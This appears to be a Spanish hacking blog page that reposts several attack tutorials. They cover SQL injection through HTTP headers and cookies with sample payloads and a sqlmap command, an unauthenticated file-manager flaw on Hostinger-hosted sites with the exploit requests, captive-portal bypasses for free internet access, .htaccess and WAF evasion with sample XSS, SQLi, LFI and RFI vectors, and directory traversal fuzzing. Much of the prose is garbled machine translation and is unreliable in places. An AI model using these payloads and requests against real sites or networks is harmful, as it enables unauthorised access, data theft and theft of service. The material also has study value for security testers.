Banner 1

Mostrando entradas con la etiqueta http. Mostrar todas las entradas
Mostrando entradas con la etiqueta http. Mostrar todas las entradas

Como realizar Inyecciónes SQL a través de HTTP Headers

0 comentarios
Durante la evaluación de la vulnerabilidad o las pruebas de penetración, la identificación de los vectores de entrada de la aplicación de destino es un paso primordial. A veces, cuando se trata de pruebas de aplicaciones Web, las rutinas de verificación en relación con los errores de inyección SQL descubrimiento se restringen a las variables GET y POST como las entradas vectores singulares de la historia. ¿Qué pasa con otros parámetros de cabecera HTTP? ¿No son los vectores de entrada potencial para los ataques de inyección SQL? ¿Cómo se puede probar todos estos parámetros HTTP y que los escáneres de vulnerabilidad a utilizar con el fin de evitar dejar vulnerabilidades sin descubrir en algunas partes de la aplicación?



Un resultado de una comparación de 60 comerciales y de código abierto de la caja negro escáneres de vulnerabilidades de aplicaciones web fue puesto en libertad y titulado: «La Legión de escaneo: Escáner de aplicaciones Web Precisión Evaluación y Comparación de funciones». Este punto de referencia, realizado por el investigador de seguridad Shay Chen en 2011, se centró en las pruebas de las herramientas comerciales y de código abierto que son capaces de detectar (y no explotar necesariamente) las vulnerabilidades de seguridad en una amplia gama de las direcciones URL.
Hemos concluido el siguiente gráfico que muestra la cobertura del parámetro de entrada el apoyo de scanners de aplicaciones web probadas. Estas entradas son básicamente:

Parámetros de cadena de consulta HTTP (GET): parámetros de entrada enviados en la URL.
Parámetros Cuerpo HTTP (POST): parámetros de entrada enviados en el cuerpo HTTP.
Parámetros HTTP Cookie: parámetros de entrada enviados en la cookie HTTP.
Encabezados HTTP: HTTP encabezados de solicitud utilizados por la aplicación.



Esta gráfica muestra obviamente que el 75% de los escáneres de aplicaciones Web no pudo descubrir encabezados HTTP parámetros defectos relacionados. Por otra parte, el 70% de estos escáneres no inspeccionar cookies HTTP vulnerabilidades persona. Estas tasas se refieren exactamente a la capacidad de los escáneres para escanear el vector de entrada, no simplemente para interpretarlo. En comparación con la puntuación razonable realizada por GET y POST, algunas herramientas de pruebas automatizadas pueden llevar a resultados no satisfechas cuando se trata de la cabecera HTTP como un vector de entrada de inyección SQL.



Como cuestión de hecho, las Cookies Encabezados HTTP y no debe ser subestimado. Por lo tanto, estos dos vectores se deben tomar en consideración durante plan de pruebas. Sin embargo, cuando los escáneres de vulnerabilidad utilizados no están apoyando a estas características, debemos pensar en las pruebas de estos parámetros de forma manual.

Encabezados HTTP potenciales para inyecciones SQL

Campos de encabezado HTTP

Campos de cabecera HTTP son componentes de la cabecera del mensaje de peticiones y respuestas en el Protocolo de transferencia de hipertexto (HTTP). Se definen los parámetros de funcionamiento de una transacción HTTP.

Ejemplo: solicitud HTTP


GET / HTTP/1.1
Connection: Keep-Alive
Keep-Alive: 300
Accept:*/*
Host: host
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E)
Cookie: guest_id=v1%3A1328019064; pid=v1%3A1328839311134


Podemos considerar las cookies HTTP, cuando se almacenan en bases de datos para la identificación de las sesiones, como los primeros potenciales variables de HTTP que deben ser probadas. Veremos a continuación en un ejemplo de inyección SQL basada Cookie. También hay otras cabeceras HTTP relacionadas con la aplicación.

X-Forwarded-For

X-Forwarded-For es un campo de encabezado HTTP considerado como un estándar de facto para la identificación de la dirección IP de origen de un cliente que se conecta a un servidor web a través de un proxy HTTP o equilibrador de carga.

Vamos a ver un ejemplo de esto basándose defecto de un envío de formularios.


$req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'");


El inicio de sesión variable se controla correctamente debido al sanitize() method.



function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } }


Vamos a inspeccionar la variable ip. Se está asignando la salida ip_addr() method.


function ip_adr() { if
(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; } }


Obviamente, la dirección IP se recupera de la X_FORWARDED_FOR cabecera HTTP. Esta tarde está controlado por el preg_match que verifica si este parámetro no celebre al menos una dirección IP. Como cuestión de hecho, el entorno HTTP_X_FORWARDED_FOR variable no es verificada apropiadamente antes de su valor que se utiliza en la consulta de SQL. Esto puede llevar a ejecutar cualquier consulta SQL inyectando código SQL arbitrario en este campo.

El simple modificación de este campo de encabezado a algo así como:


GET /index.php HTTP/1.1
Host: [host]
X_FORWARDED_FOR :127.0.0.1' or 1=1#


llevará a pasar por alto el control de autenticación.

User-agent


User agent es un campo de encabezado HTTP da el programa de software utilizado por el cliente original. Esto es para fines estadísticos y el rastreo de las violaciónes de protocolo. Se debe incluirse. La primera palabra espacio delimitado blanco debe ser el nombre del producto de software, con una barra y la versión designador opcional.

No todas las aplicaciones están escritas para capturar los datos de user agent, pero a veces las aplicaciones se han diseñado para almacenar dicha información (por ejemplo:shopping cart providers) para hacer uso de ella. En este caso, vale la pena investigar el encabezado de agente de usuario de posibles problemas.

Ejemplo de consulta HTTP:


GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*


Referer

Referer es otra cabecera HTTP que puede ser vulnerable a la inyección de SQL, una vez que la aplicación se almacena en la base de datos sin esterilizarlo. Es un campo de encabezado opcional que permite al cliente especificar, para el beneficio del servidor, la dirección (URI) del documento (o elemento dentro del documento) de la que se obtuvo el URI de la solicitud. Esto permite a un servidor para generar listas de nuevo los enlaces a los documentos, por interés, la explotación forestal, etc Permite a los malos acoplamientos a remontar para el mantenimiento.

Ejemplo:


GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*

Referer: http://www.yaboukir.com


Perspectiva del atacante?

Como todos sabemos, los errores de inyección se clasifican los primeros en el OWASP Top 10 Los riesgos de seguridad de aplicaciones Web. Los atacantes están buscando cada vez más para los puntos de inyección para tener acceso total de sus bases de datos. No importa el tipo de la entrada del punto de inyección, ya sea un GET, POST, Cookie o otras cabeceras HTTP; lo importante para los intrusos es siempre tener al menos un punto de inyección que permiten a iniciar la fase de explotación.

Inyecciones SQL basadas probar manualmente Cookies

En esta sección, vamos a introducir algunos métodos de control de las variables HTTP cookies.

El uso de un Navegadores Add-on

Cookies Manager+

Cookies Manager + permite ver, editar y crear nuevas cookies. También permite mostrar información adicional acerca de las cookies y permite editar varias Cookies a la vez, así como copia de seguridad / restauración de ellos.

Después de instalarlo, en el menú Herramientas, seleccione Administrador de cookies +. Seleccionamos una variable de cookies relacionadas con la aplicación de destino.



Vamos a editar la variable language_id. Para averiguar la falla de inyección SQL, vamos a añadir una quote "'" en el campo
contenido de la variable de language_id.



Después de actualizar la página o hacer clic en otro enlace interno de la aplicación, la aplicación envía la solicitud mediante la cookie HTTP editado. El resultado se dispara un error SQL:



Este error de base de datos nos está alertando de un fallo de inyección SQL susceptible.

La ventaja de utilizar cookies Gestor + es que es fácil de usar, actúa directamente en la cookie y guarda el valor anterior edición de la cookie.

Vamos a tratar de determinar el número de columna utilizando otro Firefox plug-in.

Tamper Data:

Tamper Data es un poderoso complemento de Firefox para ver y modificar HTTP / HTTPS y los parámetros encabezados de correos.

Después de instalarlo, en el menú Herramientas, seleccione Tamper Data. Comience manipulación petición HTTP, haga clic en el botón Star Tamper.

Al poner en marcha cualquier solicitud de la aplicación de destino, Tamper Data abre un cuadro y le pregunta si se quiere alterar la actual solicitud HTTP acaba de enviar.

ng

Después de hacer clic en Tamper, tenemos la ventana emergente completa Tamper:



Añadimos: order by 4 en la variable de cookie HTTP como se muestra en la captura de pantalla anterior. La respuesta es normal de la aplicación.



Incrementamos el número y añadimos esta vez:. Order by 5 La respuesta a esta inyección es el siguiente:



Así que podemos concluir que el número de columnas es de 4.

Ahora, vamos a tratar de averiguar las columnas afectadas con el fin de inyectar en ella más consultas SQL. Por lo tanto, vamos a añadir la siguiente consulta en la variable de cookie HTTP language_id:

-1 + UNION + ALL + SELECT +1,2,3,4

La explotación puede necesitar técnicas de inyección SQL a veces avanzadas.

El uso de escáner automatizado de pruebas de penetración

Sqlmap como ejemplo

Sqlmap es una herramienta popular de código abierto de pruebas de penetración, que automatiza el proceso de detectar y explotar los errores de inyección SQL y hacerse cargo de los servidores de bases de datos.

Sqlmap compatible con las características de HTTP Cookies por lo que puede ser útil en dos sentidos:

*La autenticación basada en cookies cuando la aplicación web requiere que.
*La detección y explotación de inyección SQL en dichos valores de Headers.

By default sqlmap defecto todos los parametros GET y parámetros POST. Cuando el valor de nivel se establece en 2 o por encima de ella también pone a prueba los valores de encabezado HTTP cookies. Cuando este valor se establece en 3 o superior, que pone a prueba también HTTP User-Agent y HTTP Referer valor de encabezado de inyecciones SQL. Sin embargo, es posible especificar manualmente una lista separada por comas de parámetro (s) que desea sqlmap para probar. Esto omitirá Bypass de la dependencia del valor de nivel también.

Nivel de parámetros HTTP------------sqlmap

GET 1 (Default)
POST 1 (Default)
HTTP Cookie 2 ≥
HTTP User-Agent 3 ≥
HTTP Referer 3 ≥

Por ejemplo, para la prueba de Identificación de parámetros GET y HTTP User-Agent sólo, proporcionar-p id, user-agent.

Este es un ejemplo de cómo podemos probar el parámetro denominado seguridad de una cookie HTTP del DVWA (Web Application Damn Vulnerable).


./sqlmap.py -u 'http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#'
--cookie='PHPSESSID=0e4jfbrgd8190ig3uba7rvsip1; security=low'
--string='First name' --dbs --level 3 -p PHPSESSID


The flag-string compare las páginas válidos y una inválida (a causa de la inyección). En el otro lado, the flag-DBS se utiliza para enumerar los sistemas de gestión de base de datos. Por último, the flag-P Force la prueba de la variable PHPSESSID.



Herramientas para la inyección de prueba SQL: elegir por su precisión en la detección o por su cobertura de vector de entrada?

Con el fin de responder a esta pregunta, hemos explotado los resultados del índice de referencia proporcionado por sectoolmarket.com. Hemos tomar en la hipótesis de que la precisión en la detección de los escáneres de candidatos tiene la misma importancia que los vectores de entrada de la cobertura y apoyo. Hemos considerado GET, POST, HTTP Cookies y HTTP Headers como los vectores de entrada que deben ser apoyadas. Cuando se admiten todos estos parámetros, los escáneres hacen una tasa de 100% de cobertura (4/4).

Sugerimos la siguiente ecuación de la media aritmética de adaptar una puntuación de equilibrio para los escáneres de vulnerabilidad.

Después de equilibrar las tasas obtenidas con el porcentaje de precisión en la detección, nos detuvimos por este resultado por debajo de los 14 primeros escáneres.

Podemos mostrar un gráfico que representa los escáneres de vulnerabilidad por su puntuación equilibrada que define tanto por su precisión en la detección de errores de inyección SQL y su cobertura vector de entrada.



¿Qué sigue?

Para los desarrolladores

Cookies y otras cabeceras HTTP almacenados deben ser tratados por los desarrolladores como otra forma de entrada del usuario y se someterán a las mismas rutinas de validación.

Para testers

La manipulación de la información del encabezado HTTP en solicitudes de páginas (sobre todo los campos REFERER y USER-AGENT) es importante identificar si la aplicación es vulnerable a los vectores de inyección SQL o incluso a otras vulnerabilidades estándar (XSS). Es una buena práctica para definir y describir todos los aspectos que un usuario puede manipular los datos que es utilizado por la aplicación. Estos datos pueden ser almacenados, descabellada y se procesan Cookies, HTTP-headers (like HTTP_USER_AGENT ), form-variables (visible and hidden), Ajax-, JQuery-, XML-requests. x

Saludos y gracias por su preferencia
Saludos a DARKSPARK

Visitar la fuente para imágenes y códigos mejor organizado :)

http://krauser.diosdelared.com/?coment=12579

Hostinger

0 comentarios
Como bien dice el título, hoy vamos a hablar sobre Hostinger y una vulnerabilidad de seguridad (probablemente un 0day) presente en la mayoría de webs alojadas en este hosting.
La vulnerabilidad es muy fácil de aprovechar, de hecho, me parece un fail tremendo, una chapuza..

El caso es que mientras miraba un par de cosas en una web para pruebas que tengo en este hosting, me pregunté, ¿Como funciona el FileManager? Si habéis usado algún hosting, sabréis que permiten subir, modificar y borrar archivos desde una interfaz web, generalmente llamada FileManager o Administrador de Archivos en español.
El caso es que si nos fijamos en como funciona, podemos ver que no son más que peticiones GET o POST, pero, ¿a donde? Pues depende del FileManager que usemos.. Con Hostinger puedes usar dos FileManager distintos, si usas el que te ponen como principal, eres vulnerable, aunque solo lo hayas usado una vez. ¿Por que? Por que el filemanager se "instala" en tu carpeta de hosting web, como los archivos que subes para tu web.
Como podemos ver en la siguiente imagen, es una carpeta como cualquier otra en nuestro hosting (Imagen obtenida con el Filemanager 2)

Con esto, ya os imagináis como funciona el FileManager.. Básicamente se realizan peticiones a los scripts de esta carpeta para crear, modificar o borrar ficheros de nuestro hosting.
Lo bonito es que no hay ningún tipo de control sobre estas peticiones, es decir, no se usan cookies, ni nada que puedas imaginar para controlar que el que realiza la petición para gestinar el hosting sea realmente el dueño.

Algunas de las peticiones son:
Para abrir directorios:
http://domain/_file-manager/php/connector.php?cmd=open&target=l1_Lw

Para ver contenido de archivos:
http://domain/_file-manager/php/connector.php?cmd=get&target=l1_Lw

Para editar archivos:
Petición POST a: http://domain/_file-manager/php/connector.php
Con parámetros por POST:
cmd=put
target=archivo
content=

Las variables son bastante intuitivas, cmd es el comando, es decir, lo que quieres hacer (abrir, obtener o modificar). Por otro lado tenemos la variable content, que sirve para indicar el nuevo contenido del archivo que vamos a modificar. Y por último, target, que indica el archivo que vamos a modificar.
Target si tiene algo más de complicación, pues no es un path ni un nombre de archivo el valor que debe tomar, sino que es un hash. Cada archivo tendrá su hash y usaremos este para modificarlo o para abrir el directorio. ¿Como conseguimos el hash? Muy sencillo, el hash de la raiz todos los hostings es l1_Lw, y usando la petición con cmd=open, nos devuelve el listado de archivos con toda la información necesaria, incluido el hash. De este modo podemos ir listando cualquier directorio al mas puro estilo "ls" de Linux.


Y si necesitamos ver los archivos pues usamos cmd=get y listo.

Y por mi parte, creo que no es necesario explicar nada más. La vulnerabilidad, como pueden ver es muy simple.

Si tienen un hosting con hostinger pueden protegerse eliminando la carpeta de instalación del filemanager usando el segundo filemanager que tiene hostinger o usando algún software para acceder por FTP.

Espero que les haya gustado. Nos leemos!

Fuente: http://elladodelnovato.blogspot.com/2014/05/vulnerabilidad-hostinger-0day.html

Técnicas de evasión de "portales cautivos" Cap1

0 comentarios
Hoy vamos a ver un poco sobre como pasar esos portales cautivos que nos separan casi siempre de internet gratis y un limite a ciertos dominios, pasa lo siguiente jugando con el celular se puede notar que cuando no tenemos saldo salta el portal cautivo, la idea es que el portal cautivo esta redireccionado por un proxy, el cual solo va a filtrar ciertos dominios, y al ser un proxy HTTP únicamente va a filtrar paginas HTTP (No HTTPS ni ningún otro protocolo), por lo cual si abrimos una pagina HTTPS esta nos abrirá sin ningún problema, a todo eso se puede utilizar una VPN (por ejemplo HotSpot Shield) y tendremos libre el acceso a internet.

Esto en un ejemplo con un celular, pero también otras empresas utilizan estos portales cautivos y estos proxys HTTP, se supone como mencionamos que solo van a filtrar ciertos dominios, pero obviamente no el del portal cautivo, por lo cual esta el metodo 1:


1. Bypass por el header host:
Creamos un header Host apuntando al host que esta permitido por el proxy del proveedor, pondré un ejemplo:

Host: permitido

y seguido de este el header Host real de la web que queremos visitar, en este caso el proxy nos deja pasar como si nada pues no tiene por que filtrar este Host, de modo que programamos un proxy HTTP que agregue dicho header y mágicamente tenemos internet libre.


Al ser un proxy HTTP tiene las clásicas deficiencias del protocolo HTTP, por ejemplo en la mayoría de los casos se tiene el desconocimiento total de que existe la versión 0.9 y de que los servidores web no solo soportan espacios como separadores, por lo cual el metodo 2:

2. HTTP/0.9 y separadores diferentes del espacio:

Solo filtra los paquetes HTTP con formato:

[metodo] [ruta] HTTP/[version]

de modo que los paquetes que se envían con diferente separador y los de la version 0.9 se dejan pasar.

3. No filtra las paginas encriptadas, solo HTTP.

Como ya se menciono no se filtran webs HTTPS ni similares, por lo cual cualquiera de estas se pueden navegar fácilmente.

4. El puerto DNS no esta filtrado, de modo que se pueden crear tunel con otro servidor remoto (que actuaria de proxy).


Nuevamente recurrimos a las deficiencias de los proxys y de su pobre implementación del protocolo HTTP, ahora juguemos con las conexiones persistentes:

5. En conexiones persistentes, se puede enviar un paquete inicial de tipo:

GET / HTTP/1.1
Host: hostpermitido
Connection: keep-alive

el proxy dejara de vigilar esta conexión y ya se puede enviar paquetes limpiamente (cambiando el Host obviamente).

6. Otro dato curioso es que si se puede forzar al navegador a hacer un HTTP Request Smuggling, se puede enviar 2 paquetes con diferentes encabezados Host y obtener las respuestas de los diferentes servidores en la misma conexión, por lo cual se puede hacer fácilmente un robo de cookies del dominio cualquiera.

No he podido probar con otros proveedores pero de momento tenemos esos, un dato curioso es que el 0day que se había colocado como recompensa del primer reto de este blog ya tenia los métodos de evasión mencionados.

Pero creo que como motivo de esta publicación vale la pena regalarles el proxy, así que en la siguiente publicación hablare de esta herramienta y se las regalare ;)...

Fuente: 
http://hackingtelevision.blogspot.com/2010/12/tecnicas-de-evasion-de-portales.html

Links de interés:
http://foro.elhacker.net/empty-t127534.0.html
http://foro.infiernohacker.com/index.php?topic=17157.0

Form-Tampering (laboratorio)

0 comentarios
FORM TAMPERING

Este metodo consiste en modificar los datos "ocultos" del formulario que use la web victima para algun beneficio, en este ejemplo, veremos un simple (bastante sencillo xD) ejemplo sobre un "carrito de compra", para modificar los precios de los productos.

Código PHP:
// Form tampering bug PoC
$presupuesto = 100;
$compra = strip_tags($_POST***91;'producto'***93;);
function correcto(){
global $compra;
echo "Felicidades $compra comprado correctamente";
}
if(isset($_POST***91;'producto'***93;) && !empty($_POST***91;'producto'***93;)){
if($presupuesto >= $_POST***91;'v_botella'***93;){
correcto();
}else if ($presupuesto >= $_POST***91;'v_cervesa'***93;){
correcto();
}else{
echo "Lo sentimos, no tienes los fondos suficientes";
}
}else{
if(isset($_POST***91;'send'***93;)){
die("Debes seleccionar un producto");
}
echo "Tu presupuesto es : $presupuesto";
?>







Como podemos observar, tenemos los precios de los productos en un atributo "hidden". Bien, ¿Cómo podemos aprovecharnos de eso?.

MODIFICANDO CABECERAS HTTP

Lo que vamos a hacer, es "sniffear" lo que nuestro navegador manda al servidor (cabeceras http), vamos a hacer esto con el http live headers (Add-on de Firefox). Despues de instalarlo en nuestro navegador, vamos a la página donde tenemos alojado nuestro PoC y abrimos el add-on, hacemos una petición simplemente "tratando" de comprar un producto y nos damos cuenta que en el live headers nos ha salido la petición http que hemos hecho.

Algo así:

Código: Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://127.0.0.1/bugs/formtamp.php Content-Type: application/x-www-form-urlencoded Content-Length: 60

Y:

Código:producto=Botella&v_botella=500&v_cervesa=200&send=Comprar%21

Ahora vemos que podemos modificar los valores de los productos, cambiamos a 0 y le damos a repetir/replay

Código:producto=Botella&v_botella=00&v_cervesa=00&send=Comprar%21

Y vuala!  , hemos comprado el producto 

Fuente: http://masters-hackers.info/showthread.php?t=20321

Jugando con .htaccess

0 comentarios
La mayoria ya conoce cual es la funcion de este archivo en el servidor encargandose de actuar sobre el fichero de configuracion de apache “httpd.conf”

Permite:
Redireccion de url’s
Respuestas de error personalizadas.
Proteccion de directorios, subdirectorios y ficheros en el servidor.
Certificados de autentificacion http.
etc…
No vengo a escribrir de como implementar cada una de sus funciones.
En la Black-Hat pasada se hablo de una supuesta vulnerabilidad en .htaccess, yo creo que mas que una vulnerabilidad es solo una mala implementacion del metodo [color=red][/color] cuando se desea restringir el acceso a cierto directorio/fichero presentando un certificado de autentificacion http.
En cuanto a estos tipos de certificados tenemos los:
Basicos: La contraseña viaja en texto plano
Resumen: El servidor le aplica un hash al password antes de ser enviado.
En la siguiente imagen podemos encontrar un servidor que implementa un certificado de tipo basico.

Conociendo la cantidad de admins que andan sueltos, Podriamos deducir para suerte nuestra que nos estariamos encontrando con un .htaccess configurado de la siguiente manera (supongamos).
?
1
2
3
4
5
6
7
AuthUserFile .htpasswd
AuthName "Area Radioactiva"
AuthType Basic
 
require valid-user

Donde esta la mala implementacion?

Vemos que solo se limita a peticiones GET, dejando de lado TRACE, OPTIONS, POST, PUT, COPY, MOVE, DELETE, TRACK, etc, entre otras.
Podriamos obtener el contenido de algun fichero detras de la proteccion utilizando el metodo POST.

Otras configuraciones mas restringidas incluyen el metodo POST como limite.
?
1
2
3
4
5
6
7
AuthUserFile .htpasswd
AuthName "Area Radioactiva"
AuthType Basic
 
require valid-user

Pero eso no nos niega la posibilidad de enumerar los ficheros y directorios protegidos por .htaccess utilizando los demas metodos que se hayen habilitados en el servidor.
Si analizamos, ahun existiendo o no el path /files/pass.txt, el servidor nos responderia con el mismo error 401 (no autorizado)

Lo mismo pasara al realizar una peticion POST, pero que hay de los demas metodos, como responderia ante una peticion http que no este dentro de los ? por ejemplo TRACE.
?
1
2
3
4
5
6
7
8
TRACE /files/pass.txt HTTP/1.0
 
HTTP/1.0 200 ok
Date: Thu, 05 Jul 2012 10:53:32 GTM
Server: Apache /2.2.3 (centOS)
Connection: close
Content-type: message/http
TRACE /files/pass.txt HTTP/1.0

Evidentemente nos responde con 200 ok, hemos logrado evadir la restriccion del .htaccess para deducir la existencia del fichero en el servidor, en caso de no existir el servidor nos responderia con un error 404.
Otro manera seria realizar peticiones con metodos no implementados e inexistentes como[color=red] GETS[/color], el servidor lo tomaria como si se tratara de un metodo GET.
?
1
2
3
4
5
6
7
8
9
GETS /files/pass.txt HTTP/1.1
 
HTTP/1.0 200 ok
Date: Thu, 05 Jul 2012 10:53:32 GTM
Server: Apache /2.2.3 (centOS)
Connection: close
Content-type: message/http
 
q3rv0:queteimporta


Este tipo de evaciones lo implementa la herramientas HTexploit.

Saludos!

Fuente:http://underterminal.nixiweb.com/?p=344

PWNEANDO el WAF!

0 comentarios

[0x1] ————– Que es un WAF?
[0x2] ————– Reconocimiento de un Firewall de aplicaciones web
[0x3] ————– Tecnicas de evacion SQL
[0x2a] ———— Utilizando comentarios
[0x2b] ———— Uso de la funcion CHAR()
[0x2c] ———— HPP (Polucion de parametros HTTP)
[0x2d] ———— HPF (Fragmentacion de parametros HTTP)

——————————————-+
[0x1] Que es un WAF?
——————————————-+
Ultimamente, me fui encontrando con aplicaciones que por algun motivo y siendo vulnerables
me saltaban con un error del tipo 501 (method no implementado), o directamente al realizara algun tipo de inyeccion, el servidor me enviava un flag FIN y
terminaba paradado con un mensajito de “The concexion was reSet”, sospechoso, no?, por esta razon decidi escribir a cerca de los WAF (firewalls de aplicaciones web)
Para quien no conozco de su existencia, los WAF se encargan de mediar entre el cliente y servidor, filtrando la entrada de caracteres segun la configuracion de seguridad del mismo.
Existen varios de estos, uno de los mas conocidos es ModSecurity, pero ademas de este muchas aplicaciones corren con:
-Libhtp
-Ironbee
y demas…
Un WAF trabaja en la capa de aplicacion, controlando la entrada de datos en protocolos como HTTP/HTTPS/SOAP/XML-RPC y segun el trafico que se halle en la blacklist de su configuracion enviaran un mensaje de alerta ante determinado vector de ataque tales como:
http://vulnpage/alal.php?vuln=9999″> XSS
http://vulnpage/alal.php?vuln=9999′+or+’5′>=’3– SQLI
http://vulnpage/alal.php?vuln=../../../../../lol LFI
http://vulnpage/alal.php?vuln=http://lol.com/shell.txt? RFI
ETC…
————————————————-+
Reconocimiento de un Firewall de aplicaciones web
————————————————–+
Como descubrimos la presencia de un WAF en la aplicacion?
Generalmente las respuestas de tipo:
- 501 (method not implemented)
- Conexion reseteada por parte del servidor
- Mensaje 403
- Redireccionamiento hacia la pagina de inicio
Estos son indicios de la presencia de algun tipo de mediador que nos esta hinchando las pelotas XD!
Una de las maneras de obtener el tipo de waf que protege un servidor, es indagando
dentro de las respuestas en las cabeceras http.
Para ello, si estamos en duda de que la aplicacion corre con un firewall web, podemos usar el buscador shodan, para cersiorarnos de  que en realidad es asi.
Dork: “host:”Underterminal.com” Mod_security enabled”
Informacion del tipo y version de WAF en la cabecera Server.
————————+
?
1
2
3
4
5
6
7
8
9
HTTP/1.0 200 OK
Date: Mon, 10 Sep 2012 20:25:38 GMT
Server: Mod_Security 2.5.9 enabled
Last-Modified: Wed, 13 Jul 2011 07:12:51 GMT
ETag: "c902e9-2c-4a7ee24f602c0"
Accept-Ranges: bytes
Content-Length: 44
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
—————————+
Otra es usando herramientas o scripts que se encarguen de realizar un fingerprinting sobre estos como por ejemplo http-waf-detect.nse, un motor encargado de la deteccion de waf’s incorporado en nmap.
Podemos utilizarlo de la siguiente manera:
?
1
nmap -Pn -n -VV -T2 --script=http-waf-detect.nse "TARGET"
Veamos que pasa con papa google?
————————————————————–+
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
nmap -p80 -vv -T2 -Pn -n  --script http-waf-detect google.com
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-11 01:38 ART
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Warning: Hostname google.com resolves to 11 IPs. Using 74.125.229.37.
Initiating SYN Stealth Scan at 01:38
Scanning google.com (74.125.229.37) [1 port]
Discovered open port 80/tcp on 74.125.229.37
Completed SYN Stealth Scan at 01:38, 0.44s elapsed (1 total ports)
NSE: Script scanning 74.125.229.37.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:38
Completed NSE at 01:38, 13.07s elapsed
Nmap scan report for google.com (74.125.229.37)
Host is up (0.039s latency).
Other addresses for google.com (not scanned): 74.125.229.38 74.125.229.39 74.125.229.40 74.125.229.41 74.125.229.46 74.125.229.32 74.125.229.33 74.125.229.34 74.125.229.35 74.125.229.36
Scanned at 2012-09-11 01:38:24 ART for 13s
PORT   STATE SERVICE
80/tcp open  http
| http-waf-detect: IDS/IPS/WAF detected:
|_google.com:80/?p4yl04d3=















Bueno el post se ve horrible xD asi que les dejo el link original para que lo visten :) http://underterminal.nixiweb.com/?p=385#more-385

Directory Traversal con Dotdotpwn v3.0 Parte (I)

0 comentarios
 directorios
Muchas veces cuando testeamos un parametro o url en busca de una vulneravilidad de tipo Path traversal, se hace insoportable tener que estar inyectando posibles vectores en afan de encontrar una respuesta atipica en el servidor y asi poder visualizar el fichero deseado. Para esta tediosa tarea podemos contar con la ayuda de un fuzzer poderoso como lo es DotDotpwn, la idea de esto, es la de armar un tutorial completo sobre la herramienta. Para los que desconoscan de esta tecnica aca les dejo unos link donde pueden encontrar buena informacion respecto a su desarrollo.
Bueno comencemos presentando a esta belleza escrita en perl , que ya va por su version 3.0.

     Caracteristicas:

  • Algoritmo de biseccion que mejora la deteccion de vulnerabilidades.
Que carajo es eso?…bueno, es un metodo matematico que se encarga de buscar raices, dividiendo un intervalo a la mitad y seleccionando el subintervalo que tiene la raiz. Para los que no sepan lo que es la raiz, vieron esa p$t# “x” que se encontraba en las ecuaciones que nos daban en la escuela!…ahora se acuerdan no?.
  • Ademas de GET se añadieron otros metodos de peticiones HTTP (POST|MOVE|COPY|HEAD)
  • Cuenta con un modificador para especificar la extensión del archivo que se adjunta al final de cada cadena (*.jpg, *.php, *.inc, *.pdf, *.doc, *.sql)
  • Nueva codificacion de cararcteres ../ en UTF-8 Hex Encoding y URI Hex Encoding.
    • Soporte para los soguientes modulos:

  • - HTTP
  • - HTTP URL
  • - FTP
  • - TFTP
  • - Payload (Independiente del protocolo)
  • - STDOUT
 Bueno basta de introducciones y comenzemos por fin a probar este fierraso. Para que Dotdotpwn funcione correctamente deberan tener las siguientes requerimientos en su sistema.

      Requerimientos:

  • Modulos de perl:
  • Net::FTP
  • TFTP
  • Time::HiRes
  • Socket
  • HTTP::Lite
  • IO::Socket
  • Getopt::Std
  •  Switch
Para instalar los moudulos hacemos uso de cpan, este es un gestor de descargas para modulos de perl.
$ sudo cpan
 cpan[1]>install HTTP::Lite
 cpan[2]>install Net::FTP
 cpan[3]>install TFTP
 cpan[4]>install Time::HiRes
 cpan[5]>install Socket
 cpan[6]>install IO::Socket
 cpan[7]>install Getopt::Std
 cpan[8]>install Switch
Ahora si! descargamos DotDotPwn, extraemos y lo lanzamos!.
 Dotdotpwn
A continuacion paso a explicar las distintas opciones con las que cuenta.

Modo de uso:

./dotdotpwn.pl -m -h [OPCIONES]
Lista de Opciones:
  • -m   Tipos de modulos que soporta [http | http-url | ftp | tftp | payload | stdout]
  • -h    Hostname
  • -O   Hace una deteccion del sistema operativo a travez del uso de nmap
  • -o    Si por alguna razon sabes el tipo de S.O que utiliza el servidor podemos especificarlo para ahorrar tiempo (“windows”, “unix” o “generico”)
  • -s    Deteccion de la version de servicios
  • -d    Con esta opcion podemos establecer la cantidad de ../ a inyectar, por defecto usa 6 espacios.
  • -f    Especificamos el tipo de archivo a buscar
  • -E   Agrega las direcciones de archivos que se encuentran en el fichero TraversalEngine.pm
  • -u    Indicamos la url en la que haremos la inyeccion del vector, en el parametro a inyectar usaremos la variable TRAVERSAL quedando de esta manera: http://foo:8080/id.php?x=TRAVERSAL&y=31337)
  • -k    Busca una cadena en alguna respuesta del servidor, por ejemplo si estamos buscando el fichero /etc/passwd le establecemos la palabra “root:”,esta opcion es necesaria cuando utilizamos los modulos http-url y Payload
  • -p    Nombre del payload que usaremos en la variable TRAVERSAL
  • -x    Puerto (default: HTTP=80; FTP=21; TFTP=69)
